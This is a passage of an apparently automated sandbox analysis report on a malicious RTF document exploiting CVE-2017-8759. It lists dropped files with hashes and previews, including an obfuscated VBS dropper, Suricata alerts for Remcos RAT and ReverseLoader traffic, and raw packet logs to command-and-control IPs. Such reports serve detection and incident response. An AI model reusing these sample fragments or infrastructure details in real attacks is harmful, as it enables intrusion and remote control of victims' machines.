                                                                                  SHA-512:785381E1BD7E35AC63A41A9495132CE82C307C456CBA680B002A20B65B758BB06707BF950E5B46E9FFFE3232098ED4C9E33E5355232E1D13E31AEF65E625855B
                                                                                  Malicious:false
                                                                                  Preview:............3.9.1.3.9.6.7.1.:.`...8.?.=.1.%.|.2.?.%.?.7.[.6.7.?.?.:./.!.0.:.[.?.?.-.<.!.&.$.`...?.2.%...?...'.5.-.`.#.<.?.3.,.5.4.4.+.].$.+.+...:.~.'.?.?.?.@.`.?.4.`.6.?.+._.,.>.4.=.-.2...7.>.`.%.!.+.<.&.?.-.../.3.4...].%...?.8.5.;.?.?.?./.|.....=.=.9.1.?.?.:.'.*.%.3.#.7.1._.=...^.&.%.?.~.?...6.;.].;.*.;.?.<.!.).0.].?.4.8.&.).6.).-.?.&.'.).$.'.;.3.%.?.0.?.0._.`.2./.;.?._.0.*.(.#.?.|.`.`.[.0.2.:.?._.[.#.+.^.#.?.=...>._...1.-.4.%.|.4...$.|.7.;.?.3.!.'.6.|.?.-.?.?.8.2...;.^...*.,.-.^.+.:.:.~.+.5.9.^.[.~.!.].@.~.%.[.%.2.'.<...0._.>.).&.;.:.9.0.,.$.&.,.~.*.8.$.&.?.-.9.~.?.+.].0.`.^.[.?...?.0.%.-.&.?.,.?.6.0.1.#.9.,.?.=.].5.=.!.&.5.<.?.4.*.5.?.(.....2.,.+.].=.`.(.?.~.3._.|.|...1.!.?.3.5.....>.'.4.*.6.=.#.7.@.[.1.6...).?.1.:.-.@.=.?.5.....^.=.#.?.,.%.0.=.?.7.7.|.7.3.^.-...5.@.>.-.%.1./.;.|.|.?.:.2.$.?.?.<.....).9.`.../.+.?.'.%.$.`.#.?...7.?.?.1.<.6.&.>.&.3.?.~.,.?.[.#.<.:...~.3.:.?././.8.(.^.,.~._...>.|.2.3.~.,.,...<.=.%.3.6.4.>._.$.%.?...#.6.^.$.3.?.*.:.?.'.!.-.9.%.:.-.3.>.&.%.1.<.:.0.%.^.7.

                                                                                  C:\Users\user\AppData\Local\Temp\23bwy3m2.b4n.psm1

                                                                                  Download File
                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  File Type:very short file (no magic)
                                                                                  Category:dropped
                                                                                  Size (bytes):1
                                                                                  Entropy (8bit):0.0
                                                                                  Encrypted:false
                                                                                  SSDEEP:3:U:U
                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                  Malicious:false
                                                                                  Preview:1

                                                                                  C:\Users\user\AppData\Local\Temp\ossmmxa3.qle.ps1

                                                                                  Download File
                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  File Type:very short file (no magic)
                                                                                  Category:dropped
                                                                                  Size (bytes):1
                                                                                  Entropy (8bit):0.0
                                                                                  Encrypted:false
                                                                                  SSDEEP:3:U:U
                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                  Malicious:false
                                                                                  Preview:1

                                                                                  C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\atthings.LNK

                                                                                  Download File
                                                                                  Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                                  File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 11 15:42:06 2023, mtime=Fri Aug 11 15:42:06 2023, atime=Sat Dec 7 13:50:32 2024, length=260748, window=hide
                                                                                  Category:dropped
                                                                                  Size (bytes):1004
                                                                                  Entropy (8bit):4.547398471692426
                                                                                  Encrypted:false
                                                                                  SSDEEP:12:8MbRgXg/XAlCPCHaXDMTBdB/BGFX+WH/JoNnicvb6c9G7DtZ3YilMMEpxRljKicM:8Y/XTzMT7bkdxpeGc9CDv3qo57u
                                                                                  MD5:F8E6A227705CF7E7E09C182EA4076AA6
                                                                                  SHA1:4E14E0D843D54A3546BCB5291A06554D4D4DFDA9
                                                                                  SHA-256:BA65A5F10A8098E179722D3BAA94CA1E6B6F8DC8ADBFB4FD3DE193122BE205DE
                                                                                  SHA-512:10779C25E2B9A49A3A477E671FEC9C1AAB15CC1B499D3169D0A52F6B73AE681E6A150F8FCB2337C05F5A5165FB005343C0166AEE47F7AC973BD091F17A952F2C
                                                                                  Malicious:false
                                                                                  Preview:L..................F.... ......r......r...\.].H...............................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X*...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......YNv..user.8......QK.X.YNv*...&=....U...............A.l.b.u.s.....z.1......WE...Desktop.d......QK.X.WE.*..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....b.2......YQv .atthings.doc..F.......WD..WD.*.........................a.t.t.h.i.n.g.s...d.o.c.......v...............-...8...[............?J......C:\Users\..#...................\\715575\Users.user\Desktop\atthings.doc.#.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.a.t.t.h.i.n.g.s...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......715575..........D_....3N...W...9..W.e8...8.....[D_....3N...W...9..W.e8...8.....[

                                                                                  C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

                                                                                  Download File
                                                                                  Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                                  File Type:Generic INItialization configuration [folders]
                                                                                  Category:dropped
                                                                                  Size (bytes):50
                                                                                  Entropy (8bit):4.468758439731454
                                                                                  Encrypted:false
                                                                                  SSDEEP:3:M1cUSlm4hSlv:MuC
                                                                                  MD5:0D71D63FDC5302B9026EF13FE55D5654
                                                                                  SHA1:B930E4D4733CBE313500B2265C45E951614F37B3
                                                                                  SHA-256:804C0766621E83D9F190265449D480D48F91A11801392951D9052051E91524B4
                                                                                  SHA-512:0D8424F6137E8E4CE7717325E4BDD70ADC8A3B3DB573B4CBD016965D7AB005981DA43DA5A84009D0B50BBD6F06E35D3CF089965150326465B1A1D2F1C4F439CE
                                                                                  Malicious:false
                                                                                  Preview:[doc]..atthings.LNK=0..[folders]..atthings.LNK=0..

                                                                                  C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

                                                                                  Download File
                                                                                  Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                                  File Type:data
                                                                                  Category:dropped
                                                                                  Size (bytes):162
                                                                                  Entropy (8bit):2.4797606462020307
                                                                                  Encrypted:false
                                                                                  SSDEEP:3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
                                                                                  MD5:2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
                                                                                  SHA1:95E13378EA9CACA068B2687F01E9EF13F56627C2
                                                                                  SHA-256:60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
                                                                                  SHA-512:2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
                                                                                  Malicious:false
                                                                                  Preview:.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

                                                                                  C:\Users\user\AppData\Roaming\givemebestthingswithgreatentierymatterofgo.vbS

                                                                                  Download File
                                                                                  Process:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                                                                                  File Type:Unicode text, UTF-16, little-endian text, with very long lines (3197), with CRLF line terminators
                                                                                  Category:dropped
                                                                                  Size (bytes):154006
                                                                                  Entropy (8bit):3.7911379118066764
                                                                                  Encrypted:false
                                                                                  SSDEEP:3072:8fFFtrd9ijwQ3pqcKvYE2rgfFFtrd9ijwQ3pqcKvYE2DfFFtrd9ijwQ3pqcKvYEM:W3rd9jQ9KAhrK3rd9jQ9KAhZ3rd9jQ9D
                                                                                  MD5:72C8CE715CBC86B3AB2438D6711EEA0E
                                                                                  SHA1:83261F78A867AB6CCECF1FABAC21D7352EC8971F
                                                                                  SHA-256:BB49F7EC17AD75FA4DC49B42B33D50E72C6B9B4FBE1A4015AF32B1736BA02E74
                                                                                  SHA-512:176160AA3AA5101082D69318CFD095EB963C2742CC8F3EFA76E3024E00B64218953FE38441D7F4763EAEFCFE4851F3591DCD063E3E86B6DACDAD89BFD170E0EA
                                                                                  Malicious:true
                                                                                  Preview:...... . . . .....e.L.c.x.x.c.p.L.B.o.G.N.K.o.G. .=. .".W.K.e.K.S.N.z.e.c.H.Z.q.B.L.h.".....W.K.t.o.z.Z.h.i.l.N.o.L.i.f.p. .=. .".q.l.i.Z.O.O.m.a.b.t.A.S.T.l.k.".....c.i.f.I.b.p.P.s.N.h.G.N.G.c.p. .=. .".Z.d.l.R.A.B.S.P.Z.P.h.P.k.h.S.".........W.z.m.o.h.L.k.T.A.P.G.C.k.W.P. .=. .".P.N.c.A.Z.e.U.C.c.L.L.P.G.i.W.".....B.L.A.m.L.L.i.N.x.N.N.e.i.W.h. .=. .".t.P.U.u.L.K.q.t.l.x.p.Z.k.L.t.".....S.e.W.g.O.G.l.G.W.k.W.K.K.L.o. .=. .".W.T.R.J.L.W.f.P.Q.O.L.c.m.q.d.".....l.f.K.L.L.t.S.p.G.z.q.Z.G.O.K. .=. .".c.B.N.b.n.o.v.I.h.P.p.P.g.A.i.".....C.K.K.W.o.Z.W.z.Z.o.n.x.x.r.P. .=. .".c.t.W.Z.e.j.R.i.W.K.g.K.L.b.i.".....p.W.U.z.P.K.d.L.G.L.H.C.h.c.z. .=. .".B.G.p.N.z.z.c.G.K.d.N.t.Z.p.p.".....b.W.N.c.N.L.Z.m.c.L.W.h.z.z.l. .=. .".L.d.W.L.o.O.T.d.x.P.z.K.Q.o.A.".....i.W.q.p.z.i.W.k.L.U.Z.e.L.W.f. .=. .".W.p.k.z.L.L.q.k.q.a.z.b.x.i.l.".....i.A.r.o.L.i.m.L.K.B.L.G.Z.L.d. .=. .".c.h.m.L.d.f.P.W.Q.f.L.L.C.l.L.".....d.t.e.z.k.N.q.A.W.L.K.W.G.G.j. .=. .".W.U.W.b.P.H.t.W.c.T.L.v.G.R.o.".....N.T.Z.Q.d.z.Z.Z.

                                                                                  C:\Users\user\Desktop\atthings.doc (copy)

                                                                                  Download File
                                                                                  Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                  Category:dropped
                                                                                  Size (bytes):44642
                                                                                  Entropy (8bit):5.306263294211281
                                                                                  Encrypted:false
                                                                                  SSDEEP:384:323tHbrN79ozVzEFH3WB3CHUePuKyL4k9qv3LZ6VdVAjD6rRji6rGsNAYAXJqsk6:323b3WBsjPudKSVCORVhAZqCN
                                                                                  MD5:747F66443537220B1D9521AE122DE199
                                                                                  SHA1:1EC0E5DDD2D2123B4181207F7F7DD6078730C5FB
                                                                                  SHA-256:65606C1A37ACFF53235D630D1AC8A4084751231449CBE53611A04351E8D36887
                                                                                  SHA-512:36227835FC78F6BDBD253322BE3C57304B61809B6A5C1D25E8C6E12C433F11D5AF0A9DA6E643E65035E70DD4131F8341BC8A68224EB77531DA232FD320ACC430
                                                                                  Malicious:true
                                                                                  Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1033\deflangfe1033\themelang1033\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\f37\fbidi \fswiss\fcharset0\fprq2{\*\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New

                                                                                  C:\Users\user\Desktop\~$things.doc

                                                                                  Download File
                                                                                  Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                                  File Type:data
                                                                                  Category:dropped
                                                                                  Size (bytes):162
                                                                                  Entropy (8bit):2.4797606462020307
                                                                                  Encrypted:false
                                                                                  SSDEEP:3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
                                                                                  MD5:2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
                                                                                  SHA1:95E13378EA9CACA068B2687F01E9EF13F56627C2
                                                                                  SHA-256:60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
                                                                                  SHA-512:2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
                                                                                  Malicious:false
                                                                                  Preview:.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

                                                                                  C:\Users\user\Desktop\~WRD0000.tmp

                                                                                  Download File
                                                                                  Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                  Category:dropped
                                                                                  Size (bytes):44642
                                                                                  Entropy (8bit):5.306263294211281
                                                                                  Encrypted:false
                                                                                  SSDEEP:384:323tHbrN79ozVzEFH3WB3CHUePuKyL4k9qv3LZ6VdVAjD6rRji6rGsNAYAXJqsk6:323b3WBsjPudKSVCORVhAZqCN
                                                                                  MD5:747F66443537220B1D9521AE122DE199
                                                                                  SHA1:1EC0E5DDD2D2123B4181207F7F7DD6078730C5FB
                                                                                  SHA-256:65606C1A37ACFF53235D630D1AC8A4084751231449CBE53611A04351E8D36887
                                                                                  SHA-512:36227835FC78F6BDBD253322BE3C57304B61809B6A5C1D25E8C6E12C433F11D5AF0A9DA6E643E65035E70DD4131F8341BC8A68224EB77531DA232FD320ACC430
                                                                                  Malicious:false
                                                                                  Yara Hits:
                                                                                  • Rule: INDICATOR_RTF_EXPLOIT_CVE_2017_8759_2, Description: detects CVE-2017-8759 weaponized RTF documents., Source: C:\Users\user\Desktop\~WRD0000.tmp, Author: ditekSHen
                                                                                  Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1033\deflangfe1033\themelang1033\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\f37\fbidi \fswiss\fcharset0\fprq2{\*\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New

                                                                                  C:\Users\user\Desktop\~WRD0000.tmp:Zone.Identifier

                                                                                  Download File
                                                                                  Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                  Category:modified
                                                                                  Size (bytes):26
                                                                                  Entropy (8bit):3.95006375643621
                                                                                  Encrypted:false
                                                                                  SSDEEP:3:ggPYV:rPYV
                                                                                  MD5:187F488E27DB4AF347237FE461A079AD
                                                                                  SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                                  SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                                  SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                                  Malicious:false
                                                                                  Preview:[ZoneTransfer]....ZoneId=0

                                                                                  Static File Info

                                                                                  General

                                                                                  File type:Rich Text Format data, version 1
                                                                                  Entropy (8bit):2.3500909712655376
                                                                                  TrID:
                                                                                  • Rich Text Format (5005/1) 55.56%
                                                                                  • Rich Text Format (4004/1) 44.44%
                                                                                  File name:atthings.doc
                                                                                  File size:260'748 bytes
                                                                                  MD5:29f7672e6a927d5b4d14d8c9f29e9786
                                                                                  SHA1:3ce748611c888eb7f676a1e87066565e1e4b67ae
                                                                                  SHA256:37deb0c041dabe99248653f5b4eb440bd354eb9791cad1323d992ceecd446867
                                                                                  SHA512:4c51f01f95533e05967fedc7094ac44be01fab20cac2c8c63e998220d77b00bb3877047ed2ec64b88ab9d31d522cd3a8f64c93609be7e3c45ddc9b14555919e2
                                                                                  SSDEEP:3072:G+032MBcfMBPKYfMwYD1yNdPgNSjsQkUPvL:lyLBcePbuD1yNdPgNSNko
                                                                                  TLSH:1044586EE34F0955CF5596BB034A0E4A05FCB73EB34540A0396CA7743BADC2E4A6297C
                                                                                  File Content Preview:{\rtf1.........{\*\levelprevspace737402672 \;}.{\739139671:`.8?=1%|2?%?7[67??:/!0:[??-<!&$`.?2%.?.'5-`#<?3,544+]$++.:~'???@`?4`6?+_,>4=-2.7>`%!+<&?-./34.]%.?85;???/|..==91??:'*%3#71_=.^&%?~?.6;];*;?<!)0]?48&)6)-?&')$';3%?0?0_`2/;?_0*(#?|``[02:?_[#+^#?=.>_

                                                                                  File Icon

                                                                                  Icon Hash:2764a3aaaeb7bdbf

                                                                                  Static RTF Info

                                                                                  Objects

                                                                                  IdStartFormat IDFormatClassnameDatasizeFilenameSourcepathTemppathExploit
                                                                                  00000151Ehno

                                                                                  Network Behavior

                                                                                  Suricata IDS Alerts

                                                                                  TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                  2024-12-07T15:50:37.506112+01002036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection1192.168.2.2249173216.9.226.1003898TCP
                                                                                  2024-12-07T15:50:37.506112+01002057635ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound187.106.161.21980192.168.2.2249163TCP
                                                                                  2024-12-07T15:50:37.506112+01002858295ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)187.106.161.21980192.168.2.2249163TCP
                                                                                  2024-12-07T15:50:47.732854+01002049038ET MALWARE ReverseLoader Reverse Base64 Loader In Image M21151.101.65.137443192.168.2.2249162TCP
                                                                                  2024-12-07T15:51:01.947801+01002020424ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1187.106.161.21980192.168.2.2249163TCP
                                                                                  2024-12-07T15:51:01.947801+01002020425ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound M2187.106.161.21980192.168.2.2249163TCP
                                                                                  2024-12-07T15:51:25.123287+01002036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection1192.168.2.2249164216.9.226.1003898TCP
                                                                                  2024-12-07T15:51:48.154971+01002036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection1192.168.2.2249165216.9.226.1003898TCP
                                                                                  2024-12-07T15:52:11.202583+01002036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection1192.168.2.2249166216.9.226.1003898TCP
                                                                                  2024-12-07T15:52:34.218741+01002036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection1192.168.2.2249167216.9.226.1003898TCP
                                                                                  2024-12-07T15:52:57.422240+01002036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection1192.168.2.2249168216.9.226.1003898TCP
                                                                                  2024-12-07T15:53:20.596602+01002036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection1192.168.2.2249169216.9.226.1003898TCP
                                                                                  2024-12-07T15:53:43.719730+01002036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection1192.168.2.2249170216.9.226.1003898TCP
                                                                                  2024-12-07T15:54:07.142320+01002036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection1192.168.2.2249171216.9.226.1003898TCP
                                                                                  2024-12-07T15:54:30.314421+01002036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection1192.168.2.2249172216.9.226.1003898TCP

                                                                                  Network Port Distribution

                                                                                  TCP Packets

                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                  Dec 7, 2024 15:50:37.506112099 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:37.626049042 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:37.626216888 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:37.626465082 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:37.746978998 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:38.893745899 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:38.893774033 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:38.893790007 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:38.893802881 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:38.893819094 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:38.893831968 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:38.893845081 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:38.893861055 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:38.893903017 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:38.893903017 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:38.893903017 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:38.893903017 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:38.894005060 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:38.894016981 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:38.894028902 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:38.894038916 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:38.894051075 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:38.894062996 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:38.901484013 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.015161037 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.015187979 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.015295982 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.086081982 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.086148977 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.086525917 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.086560965 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.090787888 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.090832949 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.090964079 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.091000080 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.100356102 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.100378036 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.100400925 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.100415945 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.108365059 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.108396053 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.108422995 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.108442068 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.116307020 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.116322994 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.116355896 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.124315977 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.124331951 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.124366045 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.132282972 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.132299900 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.132345915 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.142075062 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.142091036 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.142210960 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.151959896 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.151981115 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.152067900 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.157331944 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.157495975 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.157922983 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.157969952 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.165767908 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.165891886 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.165945053 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.165987968 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.278964996 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.279098034 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.283096075 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.283116102 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.283153057 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.283881903 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.284130096 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.284174919 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.291560888 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.291616917 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.291630030 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.291654110 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.299412012 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.299489021 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.299549103 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.299588919 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.308017969 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.308084011 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.308134079 CET804916187.106.161.219192.168.2.22
